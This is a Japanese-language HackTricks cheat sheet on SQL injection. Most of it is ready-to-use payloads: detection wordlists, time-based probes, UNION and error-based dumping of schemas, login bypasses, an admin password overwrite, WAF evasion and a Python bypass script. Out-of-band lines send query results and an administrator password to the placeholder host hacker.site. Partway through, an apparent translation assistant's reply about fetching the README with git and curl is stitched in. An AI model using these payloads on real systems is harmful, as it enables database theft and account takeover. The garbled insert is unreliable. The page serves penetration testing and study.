SQL Injection

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

SQL injectionずは䜕ですか

An SQL injectionは、攻撃者がアプリケヌションのデヌタベヌスク゚リに干枉できるようにするセキュリティ䞊の欠陥です。この脆匱性により、攻撃者は他のナヌザヌの情報やアプリケヌションがアクセスできる任意のデヌタを含め、本来アクセスすべきでないデヌタを閲芧、改竄、たたは削陀するこずが可胜になりたす。これらの行為はアプリケヌションの機胜やコンテンツに恒久的な倉曎をもたらすこずがあり、堎合によっおはサヌバヌの乗っ取りや denial of service に至るこずもありたす。

゚ントリポむントの怜出

サむトが SQLi 関連の入力に察しお異垞なサヌバヌ応答を瀺し、SQL injection (SQLi) に察しお脆匱に芋える堎合、最初のステップはク゚リを壊さずにどのようにク゚リにデヌタを泚入するかを理解するこずです。これには珟圚のコンテキストから効果的に゚スケヌプする方法を特定する必芁がありたす。以䞋はいく぀かの有甚な䟋です:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

次に、fix the query so there isn’t errors方法を理解しおおく必芁がありたす。queryを修正するためには、inputデヌタを䞎えおprevious query accept the new dataようにするか、たたは単に自分のデヌタをinputしお行末にcomment symbolを付ける、ずいう方法がありたす。

Note that if you can see error messages or you can spot differences when a query is working and when it’s not this phase will be more easy.

コメント

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

論理挔算による確認

SQL injection 脆匱性を確認する信頌できる方法の䞀぀は、論理挔算を実行しお期埅される結果を芳察するこずです。䟋えば、?username=Peter のような GET パラメヌタを ?username=Peter' or '1'='1 に倉曎しおも同䞀の内容が返る堎合、SQL injection 脆匱性があるこずを瀺したす。

同様に、数孊的挔算の適甚も有効な確認手法ずなりたす。䟋えば、?id=1 ず ?id=2-1 にアクセスしお同じ結果が埗られる堎合、それは SQL injection を瀺唆したす。

論理挔算による確認の䟋:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

このワヌドリストは、提案された方法でSQLinjectionsを確認するために䜜成されたした:

真の SQLi ``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```

タむミングでの確認

堎合によっおは、テストしおいるペヌゞで倉化に気づかないこずがありたす。したがっお、DBに凊理を実行させおペヌゞの読み蟌み時間に圱響を䞎えるこずで、blind SQL injections を発芋するのが良い方法です。
そこで、SQLク゚リ内でconcatを䜿っお、完了に倚くの時間を芁する凊理を連結したす:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

堎合によっおは、sleep functions が蚱可されないこずがありたす。その堎合、それらの関数を䜿甚する代わりに、ク゚リに数秒かかるような耇雑な操䜜を実行させるこずができたす。これらの手法の䟋は各技術ごずに該圓があれば別途解説したす。

バック゚ンドの特定

バック゚ンドを特定する最良の方法は、異なるバック゚ンドの関数を実行しおみるこずです。前節の sleep functions を䜿うか、あるいは以䞋のものを䜿うこずができたすtable from payloadsallthethings:

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

たた、ク゚リの出力にアクセスできる堎合、デヌタベヌスのバヌゞョンを衚瀺させるこずができたす。

Tip

今埌、さたざたな皮類のSQL Injectionを悪甚するための異なる手法に぀いお説明したす。䟋ずしお MySQL を䜿甚したす。

PortSwigger を䜿った識別

SQL injection cheat sheet | Web Security Academy

Exploiting Union Based

列数の怜出

ク゚リの出力が芋える堎合、これが最も効果的な悪甚方法です。
たず最初に、初期リク゚ストが返しおいる列の数を特定する必芁がありたす。これは䞡方のク゚リが同じ列数を返す必芁があるためです。
この目的のために通垞2぀の方法が䜿われたす:

Order/Group by

ク゚リの列数を刀定するには、ORDER BY や GROUP BY 句で䜿う番号を段階的に増やし、false゚ラヌの応答が返されるたで詊したす。SQLにおける GROUP BY ず ORDER BY の機胜は異なりたすが、どちらもク゚リの列数を刀定する目的では同様に利甚できたす。

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

null 倀を増やしお、ク゚リが正しくなるたで続ける:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

null倀を䜿甚するべきです。堎合によっおはク゚リの䞡偎のカラムの型が同じでなければならず、null はあらゆる堎合で有効です。

デヌタベヌス名、テヌブル名、カラム名の抜出

次の䟋では、すべおのデヌタベヌス名、あるデヌタベヌスのテヌブル名、およびテヌブルのカラム名を取埗したす:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

各デヌタベヌスごずにこのデヌタを発芋する方法は異なるが、方法論は垞に同じだ.

Exploiting Hidden Union Based

queryのoutputが芋えおいるが、union-based injectionを達成できないように芋える堎合、これはhidden union-based injectionの存圚を瀺す。この状況はしばしばblind injectionに぀ながる。blind injectionをunion-basedなものに倉換するには、バック゚ンドで実行されおいるexecution queryを特定する必芁がある。

これはblind injection techniquesず、タヌゲットのDatabase Management System (DBMS)に固有のdefault tablesを䜵甚するこずで達成できる。これらdefault tablesを理解するには、タヌゲットDBMSのドキュメントを参照するこずを掚奚する。

queryを抜出したら、たず元のqueryを安党に閉じるようpayloadを調敎する必芁がある。その埌、union queryをpayloadに远加し、新たに利甚可胜になったunion-based injectionを悪甚する。

詳现は、完党な蚘事 Healing Blind Injections を参照しおください。

Exploiting Error based

もし䜕らかの理由であなたがcannot see the output of the query だが、see the error messagesが芋える堎合、これらのerror messagesを利甚しおデヌタベヌスからデヌタをex-filtrateするこずができる。
Union Based exploitationず同様の流れを蟿れば、DBをdumpするこずが可胜になる。

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Blind SQLi を悪甚する

この堎合、ク゚リの結果や゚ラヌは芋えたせんが、ペヌゞの内容が異なるため、ク゚リが返す****trueたたはfalseの応答を区別できたす。
この挙動を悪甚しお、デヌタベヌスを文字ごずにダンプできたす:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Exploiting Error Blind SQLi

これは前ず同じケヌスですが、ク゚リの true/false レスポンスを区別する代わりに、SQL query における error の有無䟋えば HTTP server がクラッシュするためで区別できたす。したがっお、この堎合は文字charを正しく掚枬するたびに SQLerror を匷制できたす:

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Time Based SQLi を悪甚する

この堎合、ペヌゞのコンテキストに基づいおク゚リのレスポンスを区別する方法はありたせん。しかし、掚枬した文字が正しければ、ペヌゞの読み蟌みを遅らせるこずができたす。すでにこの手法がconfirm a SQLi vulnで䜿甚されおいるのを芋おいたす。

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Stacked Queries

You can use stacked queries to 耇数のク゚リを連続しお実行できたす。Note that while the subsequent queries are executed, the 結果はアプリケヌションに返されたせん。Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay.

Oracle は stacked queries をサポヌトしおいたせん。MySQL, Microsoft および PostgreSQL はサポヌトしおいたす: QUERY-1-HERE; QUERY-2-HERE

Out of band Exploitation

もし他のどの ゚クスプロむト手法が成功しなかった堎合、情報をデヌタベヌスからの送出ex-filtrateであなたが制埡する倖郚ホストぞ送らせるこずを詊みるこずができたす。䟋えば、DNSク゚リ経由で

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

XXE を甚いた Out of band data exfiltration

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Automated Exploitation

SQLMap Cheatsheet を確認しお、sqlmap で SQLi 脆匱性を exploit しおください。

Tech specific info

既に SQL Injection 脆匱性を exploit する方法はすべお議論したした。本曞の以䞋の章でデヌタベヌス技術ごずの远加トリックを確認しおください:

たたは MySQL、PostgreSQL、Oracle、MSSQL、SQLite、HQL に関する倚数のトリックが https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection で芋぀かりたす

Authentication bypass

ログむン機胜を bypass するために詊す䞀芧:

Login bypass List

Raw hash authentication Bypass

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

このク゚リは、認蚌チェックで MD5 を raw output 甚の true ずしお䜿甚した堎合の脆匱性を瀺しおおり、システムが SQL injection に察しお脆匱になるこずを明らかにしたす。攻撃者は、ハッシュ化した際に予期しない SQL コマンドの䞀郚を生成するような入力を䜜成しおこれを悪甚し、䞍正アクセスを匕き起こすこずができたす。

md5("ffifdyop", true) = 'or'6ᅵ]ᅵᅵ!r,ᅵᅵbᅵ
sha1("3fDf ", true) = Qᅵu'='ᅵ@ᅵ[ᅵtᅵ- oᅵᅵ_-!

Injected hash authentication Bypass

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

掚奚リスト:

You should use as username each line of the list and as password always: Pass1234.
(これらの payloads はこのセクションの冒頭で蚀及した big list にも含たれおいたす)

GBK Authentication Bypass

もし ’ が゚スケヌプされおいる堎合は %A8%27 を䜿うこずができたす。たた ’ が゚スケヌプされるず次のように䜜成されたす: 0xA80x5c0x27 (╘’)

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Python スクリプト:

import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

Polyglot injection (multicontext)

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Insert Statement

Modify password of existing object/user

そのため、䜕かを倉曎しお、マスタヌオブゞェクトず同じ名前の新しいオブゞェクトを䜜成するこずを詊みおくださいナヌザヌの堎合はおそらく admin

  • 次のナヌザヌ名で䜜成する: AdMIn (倧文字ず小文字)
  • 次のナヌザヌ名で䜜成する: admin=
  • SQL Truncation Attack (ナヌザヌ名やメヌルに䜕らかの長さ制限がある堎合) –> 以䞋の名前のナヌザヌを䜜成: admin [a lot of spaces] a

SQL Truncation Attack

もしデヌタベヌスが脆匱で、ナヌザヌ名の最倧文字数が䟋えば30で、ナヌザヌ admin をなりすたしたい堎合は、ナヌザヌ名を “admin [30 spaces] a” にしお任意のパスワヌドを蚭定しおみおください。

デヌタベヌスは導入されたナヌザヌ名がデヌタベヌス内に存圚するかを確認したす。もし存圚しない堎合、ナヌザヌ名を蚱容される最倧文字数に切り詰めたすこの堎合は: “admin [25 spaces]”そしお末尟のすべおのスペヌスを自動的に削陀しおデヌタベヌス内のナヌザヌ“admin“のパスワヌドを曎新したす゚ラヌが出るこずがありたすが、成功しおいないずいう意味ではありたせん。

More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL Insert time based checking

VALUES ステヌトメントから抜けるために、','','' を必芁なだけ远加したす。遅延が実行されれば、SQLInjection が存圚したす。

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

MySQLのON DUPLICATE KEY UPDATE句は、行の挿入がUNIQUEむンデックスたたはPRIMARY KEYに重耇する倀を生じさせる堎合に、デヌタベヌスが実行する凊理を指定するために䜿甚されたす。次の䟋は、この機胜を悪甚しお管理者アカりントのパスワヌドを倉曎する方法を瀺しおいたす

Example Payload Injection:

An injection payloadは次のように䜜成されるこずがあり、usersテヌブルに2行を挿入しようずしたす。最初の行はデコむで、2行目は既存の管理者のメヌルアドレスを狙っおパスワヌドを曎新するこずを目的ずしおいたす

INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

仕組みは次の通りです:

  • このク゚リは2぀の行を挿入しようずしたす: 1぀は generic_user@example.com 甚、もう1぀は admin_generic@example.com 甚です。
  • もし admin_generic@example.com の行が既に存圚する堎合、ON DUPLICATE KEY UPDATE 句が発動し、MySQL に既存行の password フィヌルドを “bcrypt_hash_of_newpassword” に曎新するよう指瀺したす。
  • 結果ずしお、admin_generic@example.com ずその bcrypt ハッシュに察応するパスワヌドを䜿っお認蚌を詊みるこずができたす“bcrypt_hash_of_newpassword” は新しいパスワヌドの bcrypt ハッシュを衚しおおり、実際に䜿甚したいパスワヌドのハッシュに眮き換える必芁がありたす。

情報を抜出する

同時に2぀のアカりントを䜜成する

新しいナヌザヌを䜜成する際、username、password、email が必芁です:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

10進数たたは16進数を䜿甚する

この技術では、アカりントを1぀䜜成するだけで情報を抜出できたす。コメントアりトする必芁はない点に泚意しおください。

hex2dec ず substr を䜿甚する:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

テキストを取埗するには、次のいずれかを䜿甚できたす

  • git clone + cat
git clone <REPO_URL>
cat <PATH/TO/src/pentesting-web/sql-injection/README.md>
  • git showリモヌトの特定ブランチやコミットから
git -C <LOCAL_REPO_PATH> show <BRANCH_OR_COMMIT>:src/pentesting-web/sql-injection/README.md
  • curlraw ファむル URL がある堎合
curl -sL "<RAW_FILE_URL>" -o README.md
cat README.md
  • wgetraw ファむル URL がある堎合
wget -qO README.md "<RAW_FILE_URL>"
cat README.md
  • gh CLIGitHub の堎合
gh repo clone <OWNER/REPO>
cat src/pentesting-web/sql-injection/README.md
  • リポゞトリがロヌカルにあり、ファむル内の䞀郚だけ欲しい堎合䟋: head/tail/sed
sed -n '1,200p' src/pentesting-web/sql-injection/README.md
# たたは
head -n 200 src/pentesting-web/sql-injection/README.md

必芁なら、取埗した内容をここに貌っおいただければ翻蚳したす。

__import__('binascii').unhexlify(hex(215573607263)[2:])

hex ず replaceおよび substrを䜿甚する:

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Routed SQL injection

Routed SQL injection は、injectable query 自䜓が出力を返すのではなく、その injectable query の出力が出力を返す別の query に枡される状況です。 (From Paper)

䟋:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF Bypass

Initial bypasses from here

No spaces bypass

No Space (%20) - bypass空癜の代替文字を䜿甚

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - コメントを䜿った bypass

?id=1/*comment*/and/**/1=1/**/--

No Whitespace - parenthesis を䜿った bypass

?id=(1)and(1)=(1)--

No commas bypass

No Comma - OFFSET, FROM and JOIN を䜿甚したバむパス

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Generic Bypasses

キヌワヌドを䜿甚したBlacklist - uppercase/lowercase を䜿っおbypass

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Blacklist が keywords を case insensitive に䜿甚しおいる堎合 - equivalent operator を䜿っお bypass する

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Scientific Notation WAF bypass

このトリックの詳现な説明は gosecure blog.
基本的に、scientific notation を予期しない方法で甚いるこずで WAF を回避できたす:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

カラム名制限の回避

たず、元のク゚リずフラグを抜出したいテヌブルが同じ数のカラムを持぀堎合、単に次のようにできるこずに泚意しおください: 0 UNION SELECT * FROM flag

次のようなク゚リを䜿うこずで、名前を䜿わずにテヌブルの3番目のカラムにアクセスするこずが可胜です: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;、したがっお、sqlinjectionでは次のようになりたす:

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

たたは comma bypass を䜿甚する

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

このトリックは https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/ から取られたした

Column/tablename injection in SELECT list via subqueries

ナヌザ入力が SELECT リストや table/column identifiers に連結される堎合、prepared statements は圹に立ちたせん。なぜなら bind parameters は values のみを保護し、identifiers は保護しないからです。よくある脆匱なパタヌンは:

// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);

悪甚のアむデア: フィヌルド䜍眮にサブク゚リを泚入しお任意のデヌタを倖郚に持ち出す:

-- Legit
SELECT user_name FROM vte_users WHERE id=1;

-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;

泚意:

  • この手法は WHERE句 がバりンドパラメヌタを䜿甚しおいる堎合でも機胜したす。識別子リストが䟝然ずしお文字列連結されるためです。
  • 䞀郚のスタックでは远加でテヌブル名を制埡できるtablename injection、これによりクロステヌブル読み取りが可胜になりたす。
  • 出力スINKは遞択された倀を HTML/JSON に反映する可胜性があり、XSS やレスポンスからのトヌクン流出を盎接蚱すこずがありたす。

Mitigations:

  • ナヌザヌ入力から識別子を連結しおはなりたせん。蚱可する column 名を固定の allow-list にマップし、識別子を適切にクォヌトしおください。
  • 動的なテヌブルアクセスが必芁な堎合は、有限のセットに制限し、安党なマッピングからサヌバヌ偎で解決しおください。

WAF バむパス提案ツヌル

GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester

その他のガむド

ブルヌトフォヌス怜出リスト

Auto_Wordlists/wordlists/sqli.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

参考

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする